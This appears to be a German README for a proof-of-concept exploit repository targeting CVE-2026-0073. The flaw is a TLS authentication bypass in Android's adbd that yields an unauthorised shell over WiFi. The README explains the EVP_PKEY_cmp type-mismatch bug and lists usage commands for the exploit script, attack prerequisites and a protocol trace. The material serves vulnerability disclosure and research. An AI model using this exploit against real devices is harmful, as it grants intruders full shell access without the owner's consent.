
CVE-2026-0073 — Umgehung der TLS-Authentifizierung des Android-ADB-Daemons (adbd) mittels EVP_PKEY_cmp-Typverwechslung. Erlangen Sie unbefugten Shell-Zugriff über WiFi durch EC/Ed25519-Schlüssel-Mismatch. PoC-Exploit für Android 14+.
Eine kritische Authentifizierungsumgehung im ADB-Daemon von Android (adbd) ermöglicht es jedem Angreifer im lokalen Netzwerk, eine vollständige Shell auf einem Zielgerät ohne Benutzerautorisierung zu erlangen.
Die Schwachstelle befindet sich in adbd_tls_verify_cert() innerhalb von daemon/auth.cpp, wo EVP_PKEY_cmp() als boolescher Wert verwendet wird. Wenn der gespeicherte Schlüssel RSA ist und das vorgelegte TLS-Clientzertifikat einen Nicht-RSA-Schlüssel (EC P-256 oder Ed25519) enthält, gibt EVP_PKEY_cmp() -1 zurück (Typkonflikt), was in C/C++ als wahr gilt, sodass authorized = true gesetzt wird.
// Vulnerable code pattern in daemon/auth.cpp
if (EVP_PKEY_cmp(peer_key, stored_key)) { // ← BUG: -1 is truthy!
authorized = true;
}
EVP_PKEY_cmp() Rückgabewert | Bedeutung | Wahrheitswert in C? | Ergebnis |
|---|---|---|---|
1 | Schlüssel stimmen überein | ✅ | Autorisiert (korrekt) |
0 | Schlüssel unterscheiden sich | ❌ | Abgelehnt (korrekt) |
-1 | Typkonflikt | ✅ | Autorisiert (BUG) |
pip install cryptography
# Interactive shell
python adb_tls_auth_bypass.py <TARGET_IP> <PORT>
# Single command execution
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"
# Verbose mode (see full protocol trace)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519
Standardmäßig versucht das Skript automatisch EC P-256 → Ed25519 → EC/TLS 1.2, bis eine Variante erfolgreich ist.
Attacker Target (adbd)
│ │
│──── TCP connect ──────────────────►│
│──── CNXN (cleartext) ────────────►│
│◄─── STLS (TLS upgrade request) ──│
│──── STLS reply ──────────────────►│
│ │
│════ TLS 1.3 Handshake ════════════│
│ (EC P-256 client cert presented) │
│ EVP_PKEY_cmp(EC, RSA) → -1 │
│ -1 is truthy → authorized=true │
│════════════════════════════════════│
│ │
│◄─── CNXN (device info) ──────────│
│──── OPEN "shell:" ───────────────►│
│◄─── OKAY ────────────────────────│
│◄──► WRTE/OKAY (shell I/O) ──────►│
│ │
[FULL SHELL ACCESS] │
| Anforderung | Details |
|---|---|
| Entwickleroptionen | Auf dem Zielgerät aktiviert |
| Drahtloses Debugging | Aktiviert (oder ADB über TCP auf Port 5555) |
| Gespeicherter RSA-Schlüssel | Das Gerät muss mindestens einmal per USB gekoppelt worden sein (/data/misc/adb/adb_keys) |
| Netzwerkzugriff | Der Angreifer muss den adbd-TCP-Port erreichen können |
⚠️ Wichtig: Der RSA-Schlüssel muss sich in
/data/misc/adb/adb_keysbefinden, das über USB-Debugging-Kopplung befüllt wird (durch Akzeptieren des Dialogs „USB-Debugging zulassen?"). Die Kopplung über drahtloses Debugging (adb pair) speichert Schlüssel an einem anderen Ort (adb_known_hosts.pb) und erfüllt diese Anforderung NICHT.
adb shell getprop ro.build.version.security_patch
Getestet und bestätigt funktionsfähig auf:
Kernel: 6.1.23-android14-4-00257-g7e35917775b8-ab9964412
Platform: Android 14 (Android Studio Emulator)
Dieser Fork enthält mehrere Erweiterungen:
select() für plattformübergreifende Unterstützung-v-FlagCVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py # Main exploit script
└── README.md # This file
Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Unbefugter Zugriff auf Computersysteme ist illegal. Holen Sie vor dem Testen stets eine ordnungsgemäße Genehmigung ein. Der Autor übernimmt keine Haftung für den Missbrauch dieser Software.
EVP_PKEY_cmp-DokumentationWenn dies Ihrer Forschung geholfen hat, hinterlassen Sie einen ⭐